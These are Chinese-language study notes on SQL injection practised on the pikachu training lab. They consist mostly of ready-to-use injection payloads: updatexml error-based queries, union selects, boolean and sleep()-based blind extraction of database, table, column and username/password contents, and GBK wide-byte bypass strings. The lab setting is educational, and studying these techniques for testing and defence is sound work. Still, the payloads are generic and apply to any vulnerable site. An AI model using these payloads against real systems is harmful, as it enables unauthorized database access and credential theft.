SQL注入的原理
select * from users where username = 'username', password = 'password' ;
修改后
select * from users where username = 'username ' or 1=1 --+', password = 'password' ;
SQL注入的类型
所有注入都需要先判断其闭合方式,常见数字型和字符型
1.显错注入
2.布尔盲注
3.时间型盲注
4.堆叠注入
5.报错注入
6.其他注入类型:宽字节,dns外带
pikachu靶场
数字型注入(post)
(1)判断是否存在sql注入
注入点判断:
闭合符号判断: ' " ) } %
逻辑判断: and 1=1
and 1=2
?id=2-1
or 1=1 --+
select username from user where id = '2-1'
(2)or 1=1(不用#,是因为不是字符型,后面没有')
(3)查看select语句里面有多少字段
(4)查看两个字段的内容
(5)查看当前用户名,当前数据库名
字符型注入(get)
1' union select 1,2#
1' union select 1,2'
搜索型注入
使用 ' 出现语法错误,提示有%
使用%输入(123'% #) ,证明格式没有出错
检测有几个字段
XX型注入
输入123'#进行测试,发现出现语法错误,在输入其他符号进行测试
123') or 1=1#
insert/update注入
获取版本号:
admin' or updatexml(2,concat(0x7e,(version())),0) or '
获取库名:
123'and updatexml(2,concat(0x7e,(select schema_name from information_schema.schemata limit 3,1)),0),2,3,4,5,6#
获取表名:
123'and updatexml(2,concat(0x7e,(select table_name from information_schema.tables where table_schema='mysql' limit 3,1)),0),2,3,4,5,6)#
updatexml:遇到错误会抛出
concat:拼接多个字符串
报错注入常用函数:
updatexml()
updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:UPDATEXML(xml document,XPathstring,new_value)
delete注入
点击删除留言进行抓包,添加 or 1=1 # 进行删除
进行URL编码
删除成功
http header注入
登录后抓包判断哪里存在sql注入
测试,使用 ' ' 发现成功
使用order by 判段是否为select查询,如果不是则使用updatexml,是则使用union
admin' or updatexml(2,concat(0x7e,(version())),0) or '
布尔盲注
SQL注入第一步先输入 ' 使之出错,然后在寻找闭合点
如果存在闭合点,则为字符型,不是数字型数字型不管输入什么特殊字符,输出都是对的
若在GET请求中?id=1and1=1和?id=1and1=2都没有报错,则是字符型注入。
若在GET请求中?id=1and1=1没有报错,但是?id=1and 1=2有异常或没回显,则是数字型注入。一般都是用and(是因为and前面的语句我们都是知道了,前面必定是正确的,所以现在要判断后面语句是否正确就行)
使用or是不知道数据库里面的数据,使语句正确让语句输出
1' and 1=2 必错,不输出内容
1' or 1=1 必对,全部输出使用union时,前面要用-1
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
当前库名:
vince' and (ascii(substr(database(),1,1)))=112#
所有库名:
vince' and (ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1)))=115#
抓包成功,证明这里存在布尔型盲注
时间盲注
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
含义:
利用了应用程序在处理查询时引入延迟的特性,攻击者通过构造延时函数,并观察应用程序的响应时间来推断查询的真假,由此获取数据。
盲注(时间)输入没有效果,攻击者通过休眠来判断是否存在SQL注入
and和or
"and"前面为假后面不执行
or 有一个为真就是真
IF表达式
IF(expr1,expr2,expr3);
如果expr1为TRUE,则IF()返回值为expr2,否则返回值为expr3
注入获取数据:
admin' or if(ascii(substr(database(),1,1))>120,sleep(2),0)#
输入120:
输入50:
宽字节注入
\' 变为字符
宽字节:
PHP中使用addslashes函数会在'前面加\,形成\'
GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
kobe%df' or 1=1 #
lili%df' or 1=1 #
admin%df'union select 1,2#